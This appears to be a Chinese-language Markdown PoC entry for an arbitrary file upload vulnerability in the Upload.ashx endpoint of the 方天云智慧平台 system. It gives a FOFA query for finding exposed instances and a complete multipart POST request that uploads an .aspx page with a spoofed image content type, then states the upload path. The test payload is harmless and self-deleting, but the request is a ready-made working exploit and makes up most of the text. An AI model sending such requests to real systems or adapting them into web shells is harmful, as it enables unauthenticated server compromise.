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32 lines
1.1 KiB
Markdown
32 lines
1.1 KiB
Markdown
# 方天云智慧平台系统Upload.ashx存在任意文件上传漏洞
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方天云智慧平台系统 Upload.ashx 接口处存在任意文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
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## fofa
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```java
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body="AjaxMethods.asmx/GetCompanyItem"
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```
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## poc
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```java
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POST /Upload.ashx HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySl8siBbmVicABvTX
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Connection: close
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------WebKitFormBoundarySl8siBbmVicABvTX
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Content-Disposition: form-data; name="file"; filename="qwe.aspx"
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Content-Type: image/jpeg
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<%@Page Language="C#"%><%Response.Write("hello");System.IO.File.Delete(Request.PhysicalPath);%>
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------WebKitFormBoundarySl8siBbmVicABvTX--
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```
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文件路径：`/UploadFile/CustomerFile/回显的路径`
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